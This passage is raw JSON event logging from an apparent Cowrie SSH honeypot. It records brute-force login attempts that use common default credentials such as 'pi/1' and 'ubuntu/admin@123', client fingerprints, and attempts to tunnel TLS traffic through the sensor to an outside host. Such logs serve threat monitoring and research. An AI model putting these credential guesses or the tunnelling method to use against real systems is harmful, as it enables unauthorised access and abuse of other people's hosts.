ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:43.018041Z","src_ip":"45.153.34.195","session":"d48055fb1845","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123abc","message":"login attempt [ubuntu/123abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:43.265066Z","src_ip":"45.153.34.195","session":"d48055fb1845","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:44.347593Z","src_ip":"45.153.34.195","session":"d48055fb1845","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":43026,"dst_ip":"10.17.0.5","dst_port":22,"session":"df519c05c127","protocol":"ssh","message":"New connection: 45.153.34.195:43026 (10.17.0.5:22) [session: df519c05c127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:45.893642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:45.897345Z","src_ip":"45.153.34.195","session":"df519c05c127","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:45.978455Z","src_ip":"45.153.34.195","session":"df519c05c127","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"1","message":"login attempt [pi/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:46.222824Z","src_ip":"45.153.34.195","session":"df519c05c127","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:47.377003Z","src_ip":"45.153.34.195","session":"df519c05c127","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":43036,"dst_ip":"10.17.0.5","dst_port":22,"session":"643d7b4f6420","protocol":"ssh","message":"New connection: 45.153.34.195:43036 (10.17.0.5:22) [session: 643d7b4f6420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:48.746196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:48.912014Z","src_ip":"45.153.34.195","session":"643d7b4f6420","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:48.915310Z","src_ip":"45.153.34.195","session":"643d7b4f6420","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:48.973328Z","session":"07122f58cbda","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:48.986745Z","src_ip":"23.148.145.132","session":"07122f58cbda","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa7@L\\x05\\xa2\\x12\\x85r'\\xede\\x81\\x84U\\x0b\\xb6\\x1b5$t\\xa87\\xecx\\xc4#o\\xbf6\\xb3=w \\x18\\xe9\\xf5{\\x05\\x84,/\\xf3\\xec\\x08'\\xc45\\x99\\x07M\\xa4\\x7f\\xbc8\\xe3\\xec\\x9f/{\\x12\\xe0h\\x01\\x89V\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfb\\x96\\xad\\xb3\\xd4\\xdeM\\xdf\\xc3\\x01\\xa5r[AfMT'\\xa4C\\x0f\\x8d\\xa9\\x96\\x91$Y\\x85\\x9e\\x84\\x12;\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa7@L\\x05\\xa2\\x12\\x85r'\\xede\\x81\\x84U\\x0b\\xb6\\x1b5$t\\xa87\\xecx\\xc4#o\\xbf6\\xb3=w \\x18\\xe9\\xf5{\\x05\\x84,/\\xf3\\xec\\x08'\\xc45\\x99\\x07M\\xa4\\x7f\\xbc8\\xe3\\xec\\x9f/{\\x12\\xe0h\\x01\\x89V\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfb\\x96\\xad\\xb3\\xd4\\xdeM\\xdf\\xc3\\x01\\xa5r[AfMT'\\xa4C\\x0f\\x8d\\xa9\\x96\\x91$Y\\x85\\x9e\\x84\\x12;\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:48.989551Z","src_ip":"23.148.145.132","session":"07122f58cbda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123","message":"login attempt [user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:49.332303Z","src_ip":"45.153.34.195","session":"643d7b4f6420","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:49.373762Z","session":"07122f58cbda","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:49.386239Z","src_ip":"23.148.145.132","session":"07122f58cbda","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03f\\xea\\x11\\\\\\x8cf\\x9f\\x90\\xbel\\xcb\\x0e\\x0eZ\\x82}\\x0b\\x95&b\\xa8\\x98H\\x9c@\\xec)\\x8b\\x9e\\xba\\xc7\\xdf \\xbf\\x88\\xa7\\x1e\\xe8!E\\x04+q\\x16A!\\x16\\xbf\\x16\\xe5\\x00\\xfa \\x10a\\xdb\\xbe\\x10\\xd5\\xfb\\xef\\xa1 \\x14\\xe6\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xafQIJ\\xe9f\\xacf\\x93-=\\n\\x81bJcKI\\xa5\\x03\\xdf\\xaf:\\xf6\\x8b\\xd9\\x0bC\\x9f\\x93\\x88\\x7f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03f\\xea\\x11\\\\\\x8cf\\x9f\\x90\\xbel\\xcb\\x0e\\x0eZ\\x82}\\x0b\\x95&b\\xa8\\x98H\\x9c@\\xec)\\x8b\\x9e\\xba\\xc7\\xdf \\xbf\\x88\\xa7\\x1e\\xe8!E\\x04+q\\x16A!\\x16\\xbf\\x16\\xe5\\x00\\xfa \\x10a\\xdb\\xbe\\x10\\xd5\\xfb\\xef\\xa1 \\x14\\xe6\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xafQIJ\\xe9f\\xacf\\x93-=\\n\\x81bJcKI\\xa5\\x03\\xdf\\xaf:\\xf6\\x8b\\xd9\\x0bC\\x9f\\x93\\x88\\x7f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:49.389346Z","src_ip":"23.148.145.132","session":"07122f58cbda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:50.446438Z","src_ip":"45.153.34.195","session":"643d7b4f6420","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":43052,"dst_ip":"10.17.0.5","dst_port":22,"session":"f30a2af6cb27","protocol":"ssh","message":"New connection: 45.153.34.195:43052 (10.17.0.5:22) [session: f30a2af6cb27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:51.636261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:51.648181Z","src_ip":"45.153.34.195","session":"f30a2af6cb27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:51.780752Z","src_ip":"45.153.34.195","session":"f30a2af6cb27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"admin@123","message":"login attempt [ubuntu/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:52.352331Z","src_ip":"45.153.34.195","session":"f30a2af6cb27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":51845,"dst_ip":"10.17.0.5","dst_port":22,"session":"a05567351382","protocol":"ssh","message":"New connection: 123.27.168.40:51845 (10.17.0.5:22) [session: a05567351382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:52:53.362596Z"}
